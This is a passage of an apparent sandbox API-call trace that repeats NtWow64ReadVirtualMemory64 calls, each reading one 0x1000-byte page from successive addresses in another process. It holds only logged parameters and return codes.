NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.737] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.738] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.738] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.738] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.738] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.739] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.739] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.739] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.739] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.740] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.740] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.740] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.741] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.741] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.741] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.741] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.742] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.742] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.742] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.742] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.743] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.743] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.743] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.848] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.848] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.848] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.848] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.849] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.849] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.849] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.850] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.850] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.850] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.850] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.851] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.851] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.851] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.851] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.852] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.852] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.852] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.852] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.853] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.853] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.853] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.854] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.854] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.854] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.854] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.855] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.855] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.855] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.855] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.856] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.856] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.856] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.856] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.857] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.857] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.857] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.857] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.858] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.858] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.858] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.859] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.859] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.859] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.860] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.860] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.860] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.861] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.861] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.861] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.861] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.862] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.862] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.862] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.862] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.863] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.863] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.863] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.863] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.864] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.864] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.864] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.864] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.865] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.865] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.865] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.866] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.866] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.866] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.866] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.867] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.867] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.867] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.868] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.868] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.868] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.869] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.869] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.869] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.869] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 